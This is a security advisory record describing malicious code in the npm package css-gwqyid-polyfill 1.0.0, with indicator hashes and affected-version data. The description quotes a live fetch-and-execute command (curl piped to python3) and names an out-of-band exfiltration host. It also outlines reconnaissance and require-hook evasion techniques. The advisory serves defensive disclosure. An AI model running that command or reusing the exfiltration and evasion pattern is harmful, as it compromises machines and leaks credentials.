Malicious code in css-gwqyid-polyfill (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19) thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync("curl -L https://appsecc.com/py | python3")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.
MAL-2026-17574
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17574
css-gwqyid-polyfill
Source reference: /affected/0/package/name
- Affected versions
- 1.0.0
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "css-gwqyid-polyfill",
"purl": "pkg:npm/css-gwqyid-polyfill",
"ecosystem": "npm"
},
"versions": [
"1.0.0"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-gwqyid-polyfill/MAL-2026-17574.json",
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"tlsh": "e07131b5b99df02166c33438db7f5049b4bb86672c6caee0740899b01f7585c01ba6f4",
"sha256": "098fac4f87d662808d1fcb744c79416ac42dd1ae997a1f96a998f2f3b46ce699"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "83edb5270f4a290ceb656134456b7a18e0d464f1",
"sha512_sri": "sha512-FPNsv0P8oSXboP+SHokFm5vBYbxmqU3vHf1y3Zkb5bJEyL589phOIEhJhbhFoT2ZaLJLAQCpdQeh++o16u3JAg=="
},
"filename": "css-gwqyid-polyfill-1.0.0.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #84296 · Revision 1
- Added to Heist Feed
- Publisher date